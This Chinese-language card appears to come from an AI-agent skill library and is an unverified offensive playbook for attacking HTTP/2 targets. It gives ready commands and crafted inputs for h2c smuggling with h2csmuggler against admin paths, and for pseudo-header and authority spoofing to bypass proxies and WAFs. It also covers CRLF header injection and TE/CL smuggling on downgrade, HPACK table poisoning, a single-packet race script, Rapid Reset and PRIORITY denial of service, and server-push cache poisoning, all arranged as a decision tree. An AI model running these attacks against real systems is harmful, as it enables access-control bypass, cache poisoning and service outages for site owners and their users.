安全与风控
目标支持 HTTP/2 时利用协议特性进行走私、竞态…
当目标支持 HTTP/2 且需要利用二进制帧、HPACK、h2c 升级、伪头部注入、流多路复用或 H2→H1 降级差异进行攻击时使用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
目标支持 HTTP/2 时利用协议特性进通用
解决思路
- 检测目标是否支持 HTTP/2:执行 `curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"`。
- 检测后端是否支持 h2c 升级:执行 `curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" -H "Connection: Upgrade, HTTP2-Settings"`;若返回 `101 Switching Protocols` 则支持 h2c。
- 安装 h2csmuggler:`git clone https://github.com/BishopFox/h2csmuggler`,`cd h2csmuggler`,`pip3 install h2`。
- 使用 h2csmuggler 进行基本 h2c 走私测试:`python3 h2csmuggler.py -x https://target.com/ --test`。
- 使用 h2csmuggler 走私特定路径:`python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users`。
- 使用 h2csmuggler 携带自定义头走私:`python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin -H "Authorization: Bearer token123"`。
- 利用 h2c 隧道绕过代理限制:客户端发送 HTTP/1.1 请求并携带 `Upgrade: h2c`、`HTTP2-Settings: <base64 H2 settings>`、`Connection: Upgrade, HTTP2-Settings`,代理盲转发后后端返回 `101 Switching Protocols`,连接变为客户端到后端的 HTTP/2,代理成为 TCP 隧道无法检查 H2 帧,从而绕过路径访问控制、WAF、限速、认证、IP 限制。
- 伪头部路径差异利用:构造 H2 请求 `:method: GET`、`:path: /public/../admin/users`、`:authority: target.com`,使代理按 `/public/*` 规则放行,后端归一化为 `/admin/users` 并返回管理内容。
- 重复伪头部注入:发送 `:method: GET`、`:path: /public`、`:path: /admin`、`:authority: target.com`,利用代理取第一个 `:path` 路由、后端取最后一个 `:path` 服务的差异。
- `:authority` 与 `Host` 不一致利用:设置 `:authority: public.target.com` 和 `host: admin.internal.target.com`,使代理路由到 public vhost,后端按 Host 头服务 admin vhost。
- `:scheme` 操纵:设置 `:scheme: http` 伪造内部请求,绕过基于 scheme 判断内外部的访问控制。
- HPACK 压缩攻击(CRIME/BREACH):HPACK 压缩头部,若攻击者控制部分头部且同一压缩上下文中存在秘密,匹配猜测会导致更小的帧从而形成 oracle;注意受限于静态+动态表、每连接表、需同连接多请求,比原始 CRIME 更难。
- HPACK 动态表投毒:发送 `X-Custom: malicious-value` 进入 HPACK 动态表;若 CDN/代理连接池共享连接,后续请求可能引用该表项,导致跨请求泄露。
- 单包竞态条件:使用 HTTP/2 多路复用将多个请求打包进单个 TCP 段同时到达。用 `h2` Python 库初始化连接,设置 ALPN 为 `['h2']`,循环 `for i in range(20):` 获取流 ID,用 `send_headers` 发送 `:method POST`、`:path`、`:authority`、`:scheme https`,用 `send_data` 发送 `amount=1000`,最后 `sock.sendall(conn.data_to_send())` 将所有帧一次性放入单个 TCP 包发送。
- RST_STREAM flood(CVE-2023-44487 Rapid Reset):发送 `HEADERS` 打开流,随后发送 `RST_STREAM` 取消,重复每秒数千次,利用最小客户端资源耗尽服务器 CPU。
- PRIORITY 操纵:在攻击者流上设置 `exclusive=true` 和 `weight=256`,饿死其他用户的请求。
- H2→H1 降级头注入:在 H2 头值中嵌入 `\r\n`,如 `X-Custom: value\r\nInjected: evil`,降级到 H1 时 `\r\n` 变成实际换行,产生新头部。
- H2→H1 Transfer-Encoding 走私:H2 规范禁止 `transfer-encoding`,但某些代理在降级时透传,导致后端按 chunked 处理,形成 H2.TE 走私;参考 `../request-smuggling/H2_SMUGGLING_VARIANTS.md`。
- H2→H1 Content-Length 差异:H2 使用帧长度,若代理降级时生成 CL 但攻击者也发送了 CL 头,导致长度冲突,形成请求走私。
- H2→H1 头名大小写:H2 要求小写,发送 `Transfer-Encoding`(大写)在 H2 无效,但某些代理透传后在后端成为有效 H1 头。
- 服务器推送缓存投毒:触发服务器为 `/static/app.js` 推送攻击者控制内容,通过 `PUSH_PROMISE` 帧推送恶意响应,使浏览器/CDN 将恶意内容缓存在合法 URL 下,后续加载提供攻击者内容。
- 按决策树执行:目标支持 HTTP/2?是则检查代理是否支持 h2c 升级,是则进行 h2c 走私;否则检查 H2→H1 降级,是则尝试头注入、H2.TE、H2.CL;否则若需竞态则用单包攻击;然后检查伪头部操纵(`:path` 差异、`:authority` 与 Host 不一致、`:scheme` 操纵);若服务器推送启用则尝试缓存投毒;若目标是 DoS 则用 RST_STREAM rapid reset 或 PRIORITY starvation;若目标仅 HTTP/1.1 则参考 `../request-smuggling/SKILL.md`。
- 使用工具参考:**h2csmuggler**(h2c 升级走私,`github.com/BishopFox/h2csmuggler`)、**http2smugl**(H2 特定 desync 测试,`github.com/neex/http2smugl`)、**h2 (Python)**(HTTP/2 协议库用于构造帧,`github.com/python-hyper/h2`)、**nghttp2**(H2 客户端/服务器工具,`nghttp2.org`)、**Burp HTTP Request Smuggler**(自动化变体扫描)、**curl --http2**(快速 H2 探测)。
- 快速参考命令:h2c 探测 `curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"`;H2 支持检查 `curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"`。
适用边界 · 注意事项
- 目标仅支持 HTTP/1.1 且无任何 HTTP/2 支持时不适用,应转向请求走私基础技术。
- 现代浏览器/CDN 已禁用或限制 server push 时,服务器推送缓存投毒不可用。
- HPACK 压缩攻击需要同一连接上大量请求且受实现限制,在无状态短连接或每次新建连接场景下难以实际利用。